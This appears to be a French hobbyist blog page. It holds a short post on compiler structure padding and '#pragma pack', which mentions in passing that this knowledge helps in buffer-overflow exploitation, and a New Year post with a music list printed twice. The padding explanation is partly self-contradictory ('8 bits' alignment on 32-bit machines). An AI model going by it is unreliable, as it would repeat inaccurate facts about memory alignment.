Le compilateur aligne les structures en mémoire par rapport a l'architecture de la machine ( elles seront alignées sur 8 bits pour une architecture 32 bits) car l'adressage des variables se fait sur 32 bits et donc 4 octets. Les structures doivent donc toujours avoir une taille totalle qui soit un multiple de l'architecture (beurk c'est crade comme phrase). Cela est fait par le compilateur par soucis de performance.
On peut modifier la façon dont sera géré le Padding:
#pragma PACK()
Cependant, il est important de rester très prudent avec cette directive, car sa mauvaise utilisation peut entrainer une exception du type "Alignment Fault" et donc générer des cycles processeurs additionnels.
Connaitre la façon dont un compilateur gère le padding peut parfois être pratique, par exemple lors de l'exploitation de vulnérabilités du type débordement de tampons, cela nous permettra d'être moins approximatif.
mercredi 7 janvier 2009
2k9 - Reb0rn
Tout d'abord ben bonne année a tous ceux qui me lisent même si vous n'êtes sûrement pas tant que ça :p
Enfin bref, je vous souhaite plein de bonnes choses, et de respecter vos bonnes résolutions, personnellement je n'en ai pas pris (même pas celle de poster + ).
Sachez quand même que je prépare quelques trucs dans mon coin que je présenterais ici dès que je pourrais.
Un peu de son quand même en ces temps de disette et de misère:
Technossomy - Pyramid
This Is GOA - A Never Ending Energy-2 (TranceGalaxy's Version)
Travma - 2019
EDIT: Merci Sh4ka pour le dernier titre :)
Enfin bref, je vous souhaite plein de bonnes choses, et de respecter vos bonnes résolutions, personnellement je n'en ai pas pris (même pas celle de poster + ).
Sachez quand même que je prépare quelques trucs dans mon coin que je présenterais ici dès que je pourrais.
Un peu de son quand même en ces temps de disette et de misère:
Technossomy - Pyramid
This Is GOA - A Never Ending Energy-2 (TranceGalaxy's Version)
Travma - 2019
EDIT: Merci Sh4ka pour le dernier titre :)
Inscription à :
Articles (Atom)